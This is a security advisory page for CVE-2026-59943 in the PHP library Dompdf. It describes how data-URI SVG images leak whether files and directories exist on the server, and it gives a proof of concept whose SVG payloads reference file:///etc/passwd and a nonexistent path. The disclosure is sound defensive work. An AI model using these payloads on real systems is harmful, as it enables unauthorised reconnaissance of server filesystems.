CVE-2026-59943: Dompdf: Embedded SVG images can leak existence of files and directories within the filesystem
Summary If a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document. Details Using an element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes.
Published Jul 22, 2026
Affected packages
dompdf/dompdf
- Ecosystem
- Composer (PHP)
- Affected
- < 3.1.6
- Fixed in
- 3.1.6
- Check
composer show dompdf/dompdf
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
If a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document.
Details
Using an <image> element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem.
[Wed May 20 19:49:53 2026] PHP Warning: file_get_contents(file:///DOESNOTEXIST): Failed to open stream: No such file or directory in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173
[Wed May 20 19:49:53 2026] PHP Notice: getimagesize(): Error reading from /tmp/svgsk9247ela7tm3SiqGyP! in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 196PoC
First, the attacker renders this HTML document:
<html>
<head>
</head>
<body>
Hello World!
</body>
</html>The `` tag contains the following SVG content:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="file:///etc/passwd" x="0" y="0" width="100" height="100">
</svg>As expected, the resulting PDF contains a broken image:
However, when supplying a path to a file or directory that does not exist, for example:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="file:///DOESNOTEXIST" x="0" y="0" width="100" height="100">
</svg>The resulting PDF is rendered normally, with the image displayed as empty space (since the file did not exist). Additionally, for easier visual inspection, a rendering bug (https://github.com/dompdf/php-svg-lib/issues/142) is used to rotate the "Hello World!" text 180 degrees from the expected position:
Impact
By exploiting this vulnerability, an attacker is able to confirm the existence of files and directories located on the backend filesystem.
Credited to w4tchd0ge.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesCVE-2026-55554
Dompdf: Chroot Validation Bypass
low2.3Jul 22, 2026CVE-2026-55555
Dompdf: File existence oracle via font-face stylesheet declaration
low2.3Jul 22, 2026CVE-2026-56722
Dompdf: Local file read due to improper file path validation in SVG images encoded as data-URI
medium6.3Jul 22, 2026CVE-2026-59941
Dompdf: Uncontrolled resource consumption based on declared BMP dimensions
medium6.3Jul 22, 2026CVE-2026-59942
Dompdf: Denial of Service (DoS) via Resource Exhaustion using Oversized Image Bitmaps
medium6.3Jul 22, 2026CVE-2021-3838
Deserialization of Untrusted Data in dompdf/dompdf
critical9.8Nov 15, 2024
